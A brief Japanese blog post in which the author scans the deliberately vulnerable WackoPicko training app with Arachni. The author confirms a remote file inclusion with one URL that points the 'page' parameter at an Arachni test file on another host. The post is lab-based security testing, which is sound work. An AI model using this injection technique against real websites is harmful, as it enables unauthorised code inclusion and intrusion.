WackoPickoでリモートファイルインクルージョンを確認してみた

Hello there, ('ω')ノ

どうもBurp Suiteのアクティブスキャンの結果に不満だったりして。

Arachniを使って、WackoPickoを診断することに。

結果、少しだけ検出内容に相違があるような。

リモートファイルインクルージョンを確認することに。

下記のURLで検証すると。

https://192.168.1.83/WackoPicko/admin/index.php?page=hTtP%3A%2F%2Ftests.arachni-scanner.com%2Frfi.md5.txt

他サイトにあるテキスト文字が表示された。

Best regards, (^^ゞ